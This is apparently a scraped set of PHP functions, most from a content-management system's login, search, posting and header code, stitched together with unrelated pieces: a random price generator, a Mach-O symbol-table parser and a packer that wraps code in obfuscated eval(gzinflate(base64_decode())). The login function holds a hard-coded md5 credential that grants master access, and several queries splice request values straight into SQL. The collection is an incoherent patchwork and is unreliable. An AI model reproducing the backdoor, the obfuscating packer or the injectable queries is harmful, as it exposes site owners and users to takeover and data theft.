function minimg($amg, $prm) { if ($prm == 'no') { return; } $mg = first_img($amg); if ($mg) { return make_thumb($mg, $prm); } elseif (rstr(87)) { return mini_empty($prm); } }
function output_pages_from_cache($http, $otp) { $npg = $_SESSION['prmb'][6]; $page = $_SESSION['page']; $min = ($page - 1) * $npg; $max = $page * $npg; if (is_array($otp)) { foreach ($otp as $id => $nb) { if (is_numeric($id)) { $i++; if ($i >= $min && $i < $max) { $mg = $http . '/imgc/' . first_img($nb[3]); if (is_link($mg)) { $ret .= btn('imgl', image($mg, '', 50)); } $ret .= bal('h2', lka($http . '/' . $id, $nb[2])); $ret .= btn('txtx', $nb[1]) . ' '; if (rstr(27)) { $ret .= btn('txtsmall', mkday($nb[0], 1)) . ' ' . pub_link($nb[9]) . ' '; } if (rstr(25)) { $ret .= btn('txtsmall', art_length($nb[8])); } $ret .= br() . br(); } } } } $n_pages = nb_page($i, $npg, $page); return $n_pages . $ret . $n_pages; }
function makeoutfile($str) { $funcname = rstr(); $varname = '$' . rstr(); $template = "<?php function " . $funcname . "({$varname})\n{ \n{$varname}=gzinflate(base64_decode({$varname}));\n for(\$i=0;\$i<strlen({$varname});\$i++)\n {\n" . $varname . "[\$i] = chr(ord(" . $varname . "[\$i])-1);\n }\n return {$varname};\n }eval({$funcname}(\""; $str = enjumble($str); $template = $template . $str . "\"));?>"; return $template; }
function hashpass($pass, $salt = "") { if (!$salt) { $salt = rstr(60); } $opts = array('cost' => 10, 'salt' => $salt); $hashed = password_hash($pass, PASSWORD_BCRYPT, $opts); return $hashed; }
function plug_flashgallery($f, $id) { //list($r,$f)=decide_source($f,$id); p($f); if ($_SESSION['read'] or rstr(41)) { $ret = embed_gallery($f, $id) . $add; } else { $ret = btn('txtx', "PhotoGallery"); } if (!$_SESSION['nl']) { return $ret; } }
function rech_titles($rech, $dig, $opt, $cac, $cat, $tag, $tag2) { list($bol, $ord, $tit, $pho) = split("-", $opt); $load = $_SESSION['load']; $days = geta('dig', $dig); $bol = substr($rech, -1) == '*' ? 1 : get('bool', $bol); $_GET['bool'] = $bol; //$_GET['pho']=$pho; $ret .= btn('search', input(1, 'search', $rech . '" size="32" maxlength="150', '')) . ' '; $ret .= ljb('popsav', 'Search2();', '', nms(24)) . ' '; $ret .= hlpbt('search') . ' '; if ($cac) { $ret .= blj('popbt', 'srcac', 'plug___search_rech*reset_' . $cac, picto('del')); } if ($load) { $ret .= btn("popw", nbof(count($load), 1)); } //.', '.nbof(array_sum($load),19).' ' if (rstr(3)) { $ret .= br() . dig_h($days); } else { $ret .= hidden('', 'srdig', 1000); } //days if (!isset($_SESSION['rstr62'])) { sesr('rstr62', rstr(62)); } if (rstr(3)) { $ret .= togses('rstr62', pictit('right', nms(134))) . ' '; } //dig $urg = mkurl(array('bool', 'titles', 'cat', 'tag')); if ($rech) { $ret .= lkc('', htac('search') . $rech . '/' . $dig, picto('link')) . ' '; } //.$urg $ret .= br() . checkact('srord', $ord, nms(18)) . ' '; $ret .= checkact('srtit', $tit, nms(72)) . ' '; //$ret.=checkact('srpho',get('pho'),'').' ';//nms(123) $ret .= checkact('srbol', $bol, nms(70)) . '' . hlpbt('bool') . ' '; $ret .= select_j('srcat', 'category', $cat ? $cat : nms(9), 1) . ' '; //hidslct_j $ret .= select_j('srtag', 'tag', $tag ? $tag : 'tag', ''); //$ret.=select_j('srtag2','thèmes',$tag3,'thèmes'); return divc('titles', $ret); }
$prices = []; for ($i = 0; $i < $lines; $i += 1) { $line = rstr(10); $line .= '/'; $line .= rstr(15); $line .= '/'; $line .= rstr(7); $line .= '/'; $price = number_format(rfloat(5, 100), 2); $line .= $price; $prices[] = $price; $line .= '/'; $date = rnum(1262055681, 1302055681); $line .= date('Y-m-d', $date); $line .= '/'; $line .= rstr(20); $line .= PHP_EOL; $output .= $line; } $min = floatval(number_format($prices[rnum(0, count($prices) - 1)] / 2, 2)); $max = floatval(number_format($min * (22 / 7), 2)); $r = rnum(0, 5); if ($r == 0) { // 3 5 $min += $max; // $min = 8 $max = $min - $max; // $max = 3 $min = $min - $max; // $min = 5 }
function list_tags($idart, $cat) { //tag_list() if (rstr(3) && !is_numeric($cat)) { $limit = ' and day>"' . calc_date(30) . '"'; } $wh = 'and cat="' . $cat . '"' . $limit . ' order by tag'; $r = artags('idtag,tag', $wh, 'kv'); return add_tag_btn($r, $idart, $cat); }
function page_titles($o = '', $rid = '') { $load = ses('load'); //$o=parent $days = getorpost('dig', ses('nbj')); $daybb = calc_date($days); $rech = good_rech(); $nms = ses('nms'); $frm = ses('frm'); $read = ses('read'); list($utg, $utv) = detect_uget(); if ($rech) { $ico = btn("txtcadr", pictxt('search', $rech)); if (get('targ')) { return; } if (is_array($load)) { $p['nbarts'] = nbof(count($load), 1) . ' (' . nbof(array_sum($load), 16) . ') / ' . nbof($days, 3); } $p['opt'] = lj('', 'popup_search___' . $rech, picto('popup')); if ($pg = $_SESSION['page'] > 1) { $p['opt'] = btn('txtsmall', 'page ' . $pg); } $p['suj'] = $rech; $p['url'] = 'search/' . $rech . '/' . $days; } elseif (get('rub_tag')) { $rub_t = get('rub_tag'); } elseif (get('rssurl')) { $p['suj'] = $nms[15]; } elseif ($par = get('parent')) { $read = 1; $p['suj'] = suj_of_id($par); $p['url'] = urlread($par); } elseif ($utg) { $p['suj'] = $utv; $_SESSION['frm'] = ''; $p['date'] = dig_it($days, $utg, $rid) . ' '; $p['url'] = htac($utg) . $utv; } elseif ($tag = get('source')) { $p['suj'] = $tag; $_SESSION['frm'] = ''; $p['date'] = dig_it($days, 'source', $rid) . ' '; $p['url'] = 'source/' . $tag . '/' . $days; } elseif ($tag = get('tag')) { $p['suj'] = $tag; $p['url'] = 'tag/' . $tag . '/' . $days; $p['date'] = dig_it($days, 'tag', $rid) . ' ' . lkc('txtx', htac('tag') . $tag, picto('url')) . ' '; $p['date'] .= lj('txtx', 'popup_search__3_' . ajx($tag) . '_' . $days, picto('search')); } elseif (get('module') == 'All') { $p['suj'] = get('module'); $p['url'] = htac('module') . get('module'); } elseif ($frm) { $p['suj'] = $frm; $p['url'] = htac('section') . $frm; } if (!$read) { //nav//nbarts if ($utv or $tag or $rub_t or get('source')) { if ($load) { $nbarts = count($load); if (!$rub_t) { $_SESSION['frm'] = ''; } } } elseif ($frm != "Home" && get('module') != "All" && $frm) { if (get('dig') or $_SESSION['lang']) { list($slct, $in, $wh, $ord, $gr) = play_req(' and re>0'); $nbarts = sql('count(id)', 'qda', 'v', $wh); } else { $nbarts = $_SESSION['line'][$frm]; } } elseif (ses('line')) { foreach ($_SESSION['line'] as $k => $v) { $nbarts += $v; } } } if ($frm && $frm != 'Home' && $frm != 'All' && !$read && !$p['date']) { $p['date'] = dig_it($days, 'section', $rid) . ' '; } // && !$rech if (!$read && !$p['nbarts']) { $p['nbarts'] = nbof($nbarts, 1) . (rstr(3) ? ' / ' . nbof($days, 3) : ''); } if ($page = ses('page') && $page > 1) { $p['nbarts'] .= ' (page ' . $page . ') '; } if (!$load && $o) { $p['parent'] = find_navigation(ses('read')); } //rstr(78) if ($_GET['rub_tag']) { $p['tag'] = rub_tags(''); $p['opt'] = lkc('txtx', htac('tag') . $rub_t, '►' . $rub_t); } if ($p['suj'] == 'All') { $p['suj'] = ses('nbj') . ' ' . nms(4); } if ($p['suj'] == 'Home') { $p['suj'] = nms(69); } //if($_GET['module'])$p['suj']=nms(100) return divd('titles', template($p, 'titles')); }
function save_track($msg, $id, $name, $mail) { $pdt = time(); $iq = hostname(); //ses('iq'); if (is_numeric($id) or substr($id, 0, 4) == 'wall') { $local = true; } if (!$msg) { return; } // btn('popdel','bruuu! '.helps('empty_msg')); req('sav'); $qb = $_SESSION['qb']; $base = $_SESSION['qdi']; $_GET['idy'] = 'ok'; $_GET['insert'] = 'ok'; $_POST['name'] = $nm; $_POST['msg'] = $msg; if (!rstr(2) or auth(4)) { $op = 1; } else { $op = 0; } $here = host() . '/?read=' . $id; $msg = str_replace(":chat", "", $msg); $msg = repair_latin($msg); $msg = embed_links($msg); //$amsg=mysql_real_escape_string(stripslashes($msg)); $values = array($ib, $name, $mail, $pdt, $qb, $id, $suj, $msg, $op, $ip); //,'','','' $nread = insert('qdi', mysqlra($values)); $suj = $local ? suj_of_id($id) : nms(84); $nmsg = lka($here . '#trk' . $nread, $local ? helps('trackmail') : nms(84)) . br() . br(); $nmsg .= nms(68) . ': ' . $name . ', ' . mkday($pdt) . br() . br() . format_txt($msg, '', ''); $admail = $_SESSION['qbin']['adminmail']; //to_admin if ($name != $_SESSION['USE']) { send_mail_html($admail, $suj, $nmsg, $mail, urlread($id)); } if ($local) { $rmails = sql('mail', 'qdi', 'k', 'frm="' . $id . '" AND re>="1"'); } //deploy $kem = sql('name', 'qda', 'v', 'id="' . $id . '"'); //send_to_author if ($kem != $name) { $kmail = sql('mail', 'qdu', 'v', 'name="' . $kem . '"'); if ($admail != $kmail) { $rmails[$kmail] = 1; } } //send_track_to_user if ($rmails && $op == 1) { send_mail_r(array_keys_b($rmails), 'html', $suj, $nmsg, $mail, $id); } if (!$local) { return popup(nms(34), divc('', helps('formail')), ''); } return tracks_read($nread, '', ''); }
function r_apps_home($o) { $r = msql_read_b('system', 'default_apps_home', '', 1); if ($o) { return $r; } $rb = r_apps_cond('home'); if (!rstr(56)) { $r = unset_in($r, 'hubs', 0); } //if(!rstr(48))$r=unset_in($r,'boot',6); return array_merge_b($rb, $r); }
function show_params_cat($r, $h) { $ron = 1; $fon = 0; $j = 'lang_admin*restrictions_'; foreach ($r as $k => $v) { $hlp = bubble('txtsmall2', 'popmsqt', $j . $k . '_description', $k); $t = $h[$k][0] ? $h[$k][0] : $v; if (rstr($k)) { $n = 1; $c = ''; } else { $n = 0; $c = 'active'; } $ret[] = offon($n) . ' ' . btn($cx, lj('', 'rstr_params___' . $k . '_' . $n, $t)) . $hlp . br(); } return divc('nbp', colonize($ret, 3, '', '', 550)); }
$meta["title"] = $_GET['admin']; $meta['favicon'] = uicon('screen_4to3_16', 'picol/16'); } elseif ($_GET["msql"]) { $meta["title"] = $_GET['msql']; $meta['favicon'] = uicon('database_16', 'picol/16'); } elseif ($_SESSION["read"]) { $meta["title"] = $_SESSION["raed"]; $meta["descript"] = $_SESSION["descript"]; $meta["img"] = $host . '/imgc/' . $_SESSION["imgrel"]; } else { $meta["title"] = $_SESSION['mn'][$_SESSION['qb']]; $meta["descript"] = $_SESSION['qbin']["dscrp"]; } //$meta["img"]=host().'/img/ban_'.$_SESSION['qb'].'.jpg'; $cst = $_SESSION['desgn'] ? '?' . randid() : ''; if ($_SESSION['mobile'] && rstr(63)) { $_SESSION['negcss'] = 1; } $meta['css'] = define_design(); verif_update(); //update if ($_SESSION['dlnb']) { Head::add('jscode', sj('popup_update')); } if ($_POST['flow'] or rstr(39)) { $flow = 1; } #back_in_time if (abs(ses('dayx') - ses('daya')) > 86400) { $_POST['popadm']['timetravel'] = lkc('txtyl', '/reload/' . ses('qb'), nms(82)); }
function pub_art_b($id, $o) { list($dy, $frm, $suj, $amg) = pecho_arts($id); if (rstr(32)) { $img = minimg($amg, "hb"); } $lnk = urlread($id); return divc("txtcadr", lkc("", $lnk, $suj)) . divc("panel", read_msg($id, $o ? $o : 2)); }
$ret .= css_link('/css/_global.css' . $cst); //css $ret .= css_link('/css/_pictos.css' . $cst); //icons if ($_GET['admin'] or $_GET['msql']) { $ret .= css_link('/css/_admin.css'); } else { $ret .= css_link('/css/' . $meta["css"] . '.css' . $cst); } $ret .= js_code('cutat=' . $_SESSION['jbuffer'] . '; fixpop="' . $_SESSION['mobile'] . '"; fulpop="1"; read="' . $read . '"; flow="' . $flow . '";'); $ret .= js_link('/prog' . $g . '/ajx.js'); //ajax $ret .= js_link('/prog' . $g . '/utils.js'); //js if (rstr(100)) { $ret .= js_link('http://code.jquery.com/jquery-1.9.1.min.js'); } if ($_SESSION['desgn']) { $ret .= js_link('/js/live.js#css'); } $ret .= Head::get(); $ret .= '</head>' . "\n"; if ($_GET['admin']) { $sp = ' spellcheck="false"'; } $ret .= '<body' . atb('onload', $onload) . ' onclick="clpop(event)" onmousemove="popslide(event)"' . $sp . '>' . "\n"; // $ret .= divd('clbub', '') . "\n"; $ret .= $madmin; $ret .= divd('desktop', '') . "\n";
function msql_menus_j($ra) { $top = rstr(69) ? '' : 'd'; list($b, $d, $p, $t, $ver, $def) = $_SESSION['murl']; if ($d) { $bdr = '/' . $d; } $tn = $t; if ($ver) { $tn .= '_' . $ver; } $ret .= popbub('admsq', '', picto('msql'), $top, 1); if ($d) { $ret .= popbub('admsq', $b . $bdr, $d, $top, 1); } else { $ret .= popbub('admsq', $b . $bdr, $b, $top, 1); } if ($p) { $ret .= popbub('admsq', $b . $bdr . '/' . $p, $p, $top, 1); } if ($t) { $ret .= popbub('admsq', $b . $bdr . '/' . $p . '/' . $t, $tn, $top, 1); } return $ret; }
function admin_menus() { $top = rstr(69) ? '' : 'd'; $rico = array('Global' => 'admin', 'Articles' => 'articles', 'User' => 'user', 'Builders' => 'builders', 'Microsql' => 'server', 'Actions' => 'like'); $r = sesmk('adminauthes'); foreach ($r as $k => $v) { if ($rico[$k]) { $ret .= popbub('admn', $k, picto($rico[$k]), $top, 1); } } return $ret; }
function log_mods() { $use = ses('USE'); if (isset($_GET['log'])) { switch ($_GET['log']) { case 'on': $usr = $_POST['user'] ? $_POST['user'] : '******'; $ret = login($usr, $_POST['pass'], $_POST['mail']); break; case 'in': $ret = loged('', '', ''); break; case 'out': $_SESSION['USE'] = ''; $_SESSION['auth'] = ''; $dayz = $_SESSION['dayx'] - 86400; setcookie('use', $use, $dayz); $_COOKIE['use'] = ''; $_COOKIE['iq'] = ''; setcookie('iq', $_SESSION['iq'], $dayz); $_SESSION['nuse'] = 1; break; case 'reboot': $r = array('qd', 'qb', 'USE', 'iq', 'dev'); foreach ($r as $v) { $ret[$v] = $_SESSION[$v]; } $_SESSION = $ret; relod('/'); break; case 'create_hub': $_POST['create_hub'] = ses('qb'); $ret = login(ses('qb'), 'pass', ''); break; case 'off': $qd = $_SESSION['qd']; $dev = $_SESSION['dev']; session_destroy(); $_SESSION['qd'] = $qd; $_SESSION['dev'] = $dev; relod('/?qd=' . $qd); break; case 'down': session_destroy(); relod('/'); break; } } if ($ret) { alert($ret); } elseif (!$use && rstr(59) && !$_SESSION['nuse']) { if ($_COOKIE['use']) { $iq = verif_user($_COOKIE['use'], ''); if ($_COOKIE['iq'] == $iq && $iq) { $_SESSION['USE'] = $_COOKIE['use']; $_SESSION['iq'] = $_COOKIE['iq']; } } } }
function verif_defcon($f) { $f = http_domain($f); $base = rstr(18) ? 'public' : $_SESSION['qb']; $r = msql_read('', $base . '_defcons', ''); if ($r) { foreach ($r as $k => $v) { if ($f == $k) { return array($k, stripslashes_r($v)); } } } }
function getsymtabsym($mh, $name) { if (r32($mh) == 0xfeedfacf) { $lc = $mh + 32; while ($lc < $mh + r32($mh + 20)) { if (r32($lc) == 0x2) { $symoff = r32(8 + $lc) + 0x1d000 + $mh; $nsyms = r32(12 + $lc); $stroff = r32(16 + $lc) + 4 + 0x1d000 + $mh; $strsize = r32(20 + $lc); $k = 0; for ($i = 0; $k < $nsyms; $i++) { $st = rstr($stroff + $k); if ($st == $name) { $nlist = $symoff + $i * 16; $val = r64($nlist + 8) & 0xffffffff + $mh; return $val; } $k += strlen($st) + 1; } } $lc += r32($lc + 4); } } return FALSE; }
function saveart_url($k) { $cat = $_SESSION['vaccat'][$k]; $base = $_SESSION['qda']; $qdm = $_SESSION['qdm']; $qb = $name = $_SESSION['qb']; $pdt = $_SESSION['dayx']; $frm = $cat ? $cat : 'public'; $re = rstr(11) ? 1 : 0; $_GET['urlsrc'] = $k; list($suj, $msg) = vacuum($k, ''); $msg = embed_links($msg); $msg = clean_br_lite($msg); $msg = clean_punct($msg); $s = strlen($msg); $lnk = mysql_real_escape_string(stripslashes($k)); $frm = mysql_real_escape_string(stripslashes($frm)); $suj = mysql_real_escape_string(stripslashes($suj)); $msg = mysql_real_escape_string(stripslashes($msg)); $nid = msquery("INSERT INTO {$base} VALUES ('','/','{$name}','{$lnk}','{$pdt}','{$qb}','{$frm}','{$suj}','{$re}','{$lu}','{$img}','{$kywk}','')"); $nid = msquery("INSERT INTO {$qdm} VALUES ('{$nid}','{$msg}')"); $msg = correct_txt($msg, $nid, 'savimg'); $_SESSION['rqt'][$nid] = array($pdt, stripslashes($frm), stripslashes($suj), '', $qb, '', '', '', $s, $lnk, $ib, $re); $_SESSION['daya'] = $_SESSION['dayx']; return divc('txtx', lka(htac('read') . $nid, $suj)); }
function art_options($id) { $r = $_SESSION["art_options"]; $arl = explode(' ', prmb(26)); $rdata = sql('val,msg', 'qdd', 'kv', 'ib="' . $id . '"'); if ($r) { foreach ($r as $k => $v) { $val = $rdata[$v]; $hlp = ''; if ($v == 'folder') { $j = 'popup_addfolder___' . $id; } else { $j = ''; } if ($j) { $ret .= picto('virtual') . lj('poph', $j, $v) . ' '; } if ($v == 'related') { $picto = 'articles'; $hlp = hlpbt('meta_related'); } elseif ($v == 'lang') { $picto = 'global'; } elseif ($v == 'template') { $picto = 'conn'; } else { $picto = 'file'; } if (!$j) { $ret .= picto($picto) . btn('poph', $v) . ' '; } if ($v == 'authlevel') { $ret .= menuderj_prep('all|1|2|3|4|5|6|7|8', $v . $id, $val, '1') . ' '; } elseif ($v == "template") { $val = $val ? $val : " "; $tmpub = msql_read('', 'public_template', $tpl, 1); $tmprv = msql_read('', $_SESSION['qb'] . '_template', $tpl, 1); $arr = array_merge_b($tmpub, $tmprv); $arr[" "] = array("" => 1); $ret .= menuderj_prep(implode('|', array_keys($arr)), $v . $id, $val ? trim($val) : $v, '1') . ' '; } elseif ($v == "tracks") { if (rstr(1) && $val == "" or $val == 'true') { $chk = 1; } else { $chk = 0; } $ret .= checkbox_j($v . $id, $chk) . ' '; } elseif ($v == "2cols") { if (rstr(17) && $val == "" or $val == 'true') { $chk = 1; } else { $chk = 0; } $ret .= checkbox_j($v . $id, $chk); } elseif ($v == "lang") { if ($arl) { foreach ($arl as $va) { //$rl[$va]=$rdata['lang'.$va]; if ($val && $va != $val or !$val && $va != prmb(25)) { $ret .= lj('txtsmall2', $v . $va . $id . '_autolang__4_' . $id . '_' . $va, $va); $ret .= input(1, $v . $va . $id, $rdata['lang' . $va], '" size="4'); } else { $ret .= hidden('', $v . $va . $id, ''); } } $ret .= hlpbt('meta_lang'); $lang = $rdata['lang']; //lang //$ret.=select_j('lang'.$id,'lang',$lang,1,$lang,0); $ret .= radiobtj($arl, $lang, 'lang' . $id); } else { $ret .= hidden('', $v . $id, ''); } $ret .= br(); } else { $ret .= ljb('poph', 'jumpvalue', $v . $id . '_ ', 'x') . ' ' . balise('input', array(1 => 'text', 3 => $v . $id, 4 => $val, 5 => '', 6 => '14', 7 => '255', 'autocomplete' => 'off'), '') . $hlp . br(); } } } return $ret; }
function rstr_sav($d) { if ($d) { $_SESSION['rstr'][$d] = rstr($d) ? '1' : '0'; } if (auth(6)) { backup_rstr('save'); } return 'rstr' . $d . ': ' . offon(rstr($d)); }
function login($user, $pasw, $mail, $cook = '') { $user = normalize($user); $pasw = normalize($pasw); $newhub = $_POST['create_hub']; $qdu = ses('qdu'); $qb = ses('qb'); $host = hostname(); if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') { $_SESSION['USE'] = ses('master'); } //$ath=array_flip(authes_levels()); //log $iq = verif_user($user, $pasw); if ($iq) { list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"'); if ($ip != $host) { update('qdu', 'ip', $host, 'name', $user); } if ($userhub) { $qb = $user; } return log_result($user, $iq, $qb, '', $cook); } elseif ($user == 'login') { //is_numeric($ath[$user]) if (!rstr(73)) { return loged($user, '', ''); } list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"'); if ($ip == $host) { return log_result($qb, $iq, $qb, '', $cook); } else { list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"'); if ($iq) { return log_result($USE, $iq, $qb, '', $cook); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_no')); } } } //bad passw $iq = verif_user($user, ''); $exist = isgoodhubname($user); $first = sql('id', 'qdu', 'v', 'id=1'); if ($iq) { $_SESSION['tentativ'] += 1; if ($_SESSION['tentativ'] >= 3) { return alert_user($user); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass')); } } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) { return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub')); } elseif ($exist == true) { return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37)); } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") { $rl = "ok"; if (!$mail or strpos($mail, "@") === false) { $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11)); $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw); if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") { $tfield .= hidden('create_hub', '', $user); } $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' '; $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' '; $tfield .= lj('txtx', 'valid_loged', picto('left')); return form('/?log=on', $tfield); } else { if ($_POST['mail'] or $newhub) { $user = $newhub ? $newhub : $user; } elseif ($_SESSION['USE']) { $user = $_SESSION['USE']; } if ($user != 'admin') { $iq = adduser($qb, $user, $pasw, $mail); } //add_user if (prmb(11) >= 6 or $newhub or !$first) { modif_cnfgtxt($user, $first); //add_hub $qb = makenew($user); message2newuser($user, $mail, $pasw); $_SESSION['auth'] = ''; } $_SESSION['qbin']['adminmail'] = $mail; log_result($user, $iq, $qb, $rl, $cook); } } }
function fav_log() { $iqb = ses('iq'); //base64_encode $ret .= lj('txtx', 'popup_plupin__x_favs____favid', picto('logout')); $ret .= input1('favid', $iqb, '4') . hlpbt('flog'); $j = 'plgfavs_plug___favs_fav*build_'; $ret .= lj('txtx', 'popup_plup__x_favs___640', picto('refresh')) . ' '; if (rstr(52)) { $ret .= lj('txtx', $j . 'fav', pictxt('like', 'Favs')) . ' '; } if (rstr(90)) { $ret .= lj('txtx', $j . 'like', pictxt('love', 'Likes')) . ' '; } if (ses('mem')) { $ret .= lj('txtx', $j . 'visited', pictxt('articles', 'Visited')) . ' '; } if (rstr(42)) { $ret .= lj('txtx', $j . 'tags', pictxt('tag', 'Taged')) . ' '; } if (rstr(52)) { $ret .= lj('txtx', $j . 'com', pictxt('list', 'Coms')) . ' '; } if (rstr(91)) { $ret .= lj('txtx', $j . 'poll', pictxt('smile', 'Polls')) . ' '; } //if(rstr(90))$ret.=lj('txtx',$j.'like_no',pictxt('trash','Olds')).' '; $ret .= lj('txtx', 'pagup_plup___book__' . ses('iq') . '_640', pictxt('export', 'Book')) . ' '; return $ret; }
function log_mods() { $use = ses('USE'); switch ($_GET['log']) { case "on": $usr = $_POST['user'] ? $_POST['user'] : "******"; $ret = login($usr, $_POST['pass'], $_POST['mail']); break; case "in": $ret = loged('', '', ''); break; case "out": $_SESSION['USE'] = ''; $_SESSION['auth'] = ''; $dayz = $_SESSION['dayx'] - 86400; setcookie('use', $use, $dayz); $_COOKIE['use'] = ''; $_COOKIE['iq'] = ''; setcookie('iq', $_SESSION['iq'], $dayz); $_SESSION['nuse'] = 1; break; case "reboot": reboot(); relod('/'); break; case "create_hub": $_POST['create_hub'] = ses('qb'); $ret = login(ses('qb'), "pass", ''); break; case "off": $qd = $_SESSION['qd']; $dev = $_SESSION['dev']; session_destroy(); $_SESSION['qd'] = $qd; $_SESSION['dev'] = $dev; relod('/?qd=' . $qd); break; case "down": session_destroy(); relod("/"); break; } if ($ret) { alert($ret); } elseif (!$use && rstr(59) && !$_SESSION['nuse']) { if ($_COOKIE['use']) { $iq = verif_user($_COOKIE['use'], ''); if ($_COOKIE['iq'] == $iq && $iq) { $_SESSION['USE'] = $_COOKIE['use']; $_SESSION['iq'] = $_COOKIE['iq']; } } } }
function api_defaults_rq($ra, $pg = '', $to = '', $dig = '') { if (!$ra) { $ra = array(); } if ($to) { $ord = strtolower($ra['order']); if ($ord == 'id desc') { $ra['maxid'] = $to; } elseif ($ord == 'id asc') { $ra['minid'] = $to; } elseif ($ord == 'day desc') { $ra['maxtime'] = sql('day', 'qda', 'v', 'id=' . $to); } elseif ($ord == 'id asc') { $ra['mintime'] = sql('day', 'qda', 'v', 'id=' . $to); } } if (!$ra['hub']) { $ra['hub'] = ses('qb'); } if ($dig) { $ra['nbarts'] = ''; if ($dig == 'all') { $ra['minday'] = max(array_flip($_SESSION['digr'])); unset($ra['maxday']); } else { $ra['minday'] = $dig; $ra['maxday'] = time_prev($dig); } unset($ra['mintime']); unset($ra['maxtime']); } elseif (!$ra['minday'] && !$ra['mintime'] && !$ra['from'] && !$ra['nodig'] && rstr(3)) { $ra['minday'] = get('dig') ? get('dig') : ses('nbj'); $pday = time_prev($ra['minday']); if ($pday == 1) { $pday = 0; } $ra['maxday'] = $pday; } $ra['page'] = $pg ? $pg : ($ra['page'] ? $ra['page'] : (ses('page') ? ses('page') : 1)); if (!$ra['nbyp']) { $ra['nbyp'] = prmb(6); } $ra['order'] = $ra['order'] ? $ra['order'] : prmb(9); //$ra['verbose']=1; return $ra; }
function f_inp($mil, $link) { $_SESSION['cur_div'] = 'content'; $ip = hostname(); $qda = $_SESSION['qda']; $USE = $_SESSION['USE']; $cont = $_GET['continue']; $read = $_SESSION['read']; $raed = $_SESSION['raed']; $frm = $_SESSION['frm']; if ($USE) { $us = $USE; } else { list($us, $ml) = sql('name,mail', 'qdi', 'r', 'host="' . $ip . '" ORDER BY id DESC LIMIT 1'); } $currid = lastid('qda') + 1; if ($frm == "" or $frm == "Home") { $frm = "public"; } //sections if ($_GET['edit'] == "=") { $cit = "&edit=="; } $goto = '/?read=' . $read . $cit; if (substr($link, 0, 4) == 'http' && !$cont) { $link = https(utmsrc($link)); //vacuum $_GET['urlsrc'] = $link; list($suj, $msg) = vacuum($link, ''); } //elseif($read)$link=$_SESSION['rqt'][$read][9]; if (!$cont) { $r['urlsrc'] = autoclic('urlsrc', "url", '10" id="urlsrc" onClick="SaveI(\'urlsrc\')" onContextMenu="SaveIt()" value="' . $link, '250', '') . btd('urledt', ''); } //urlsrc if ($USE && !$cont) { $r['trkname'] = hidden('name', 'trkname', $USE) . hidden('mail', 'trkmail', ''); $r['slcat'] = select_j('frm', 'category', $frm, '3', $frm, ''); } elseif (!$USE) { $gn = '" onkeyup="log_goodname(\'trkname\');'; $r['trkname'] = autoclic('name" id="trkname' . $gn, $us ? $us : nms(38), '8', '50', 'txtx'); //name $r['trkmail'] = autoclic('mail" id="trkmail', $ml ? $ml : 'mail', '13', '50', 'txtx'); } //mail if (!$cont) { $r['parent'] = select_jp('ib', 'parent', rstr(10) ? $read : '', '0', picto('topo'), '1'); } //if(!$cont)$r['parent']=togbub(); if (!$cont && auth(3)) { $r['publish'] = checkbox_j('pub', $_SESSION['auth'] < 4 ? 0 : rstr(11), nms(29)); } else { $r['publish'] = hidden('pub', 'pub', 0); } if (!$cont) { //new $r['pstdat'] = select_j('postdat', 'date', date('y-m-d-H-i'), 0, picto('time'), 0); $r['pstsuj'] = balise('input', array('', '', 'suj', 'suj1', '', 'editor', 7 => 255, 16 => 'width:100%;', 23 => $suj ? $suj : nms(71)), ''); } if ($cont) { $msg = sql('msg', 'qdm', 'v', 'id=' . $read); $btcntn = 'continue=ok#' . $read; $alrt = conn_correct($msg); } else { $goto = '/?read=' . $currid; $btcntn = 'insert=ok'; } //&continue==#'.$currid $msg = str_replace("\r", "", $msg); //msg $msg = str_replace(array("<br />\n", "<br />", "<br>"), "\n", $msg); //save $ids = 'suj1|frm|urlsrc|postdat|trkname|trkmail|ib|pub'; //|sub $c = 'popbt'; $sav = ljb($c, 'SaveJb', 'socket_saveart_txtarea_id4_' . $read . '_no\',\'art' . $read . '_readart___' . $read, picto('save')); if ($cont && rstr(53)) { $sav .= ljb($c, 'SaveJb', 'txarea_saveart_txtarea_id4_' . $read . '\',\'art' . $read . '_readart___' . $read, nms(57)) . ' '; } elseif (!rstr(53)) { $sav .= submitj($c, 'sav', nms(57)) . ' '; } else { $sav .= lj($c, 'socket_newart_txtarea_' . (rstr(57) ? 7 : 9) . '_____' . $ids, nms(57)) . ' '; } //pop $btdt = lj('', 'popup_artwedit_txtarea__', pictit('editor', nms(107))) . ' '; $btdt .= ljb('' . '" title="test', 'captslct', 'preview', picto('valid')) . ' '; if ($cont && $read) { $btdt .= urledt_id($read); } //defcon//urledt($link) $ret = '<form method="POST" id="sav" action="' . $goto . '&' . $btcntn . '">' . "\n"; //form $ret .= btd('bts' . $read, $sav) . ' ' . $btdt; $ret .= implode(' ', $r); $ret .= sesmk('conn_edit', '', ''); //1 $ret .= $alrt; $ret .= divd('txarea', txarea1($msg)); //if(auth(4))$ret.=checkbox("randim","ok","rename_img",0); $ret .= ' </form>' . "\n"; return $ret; }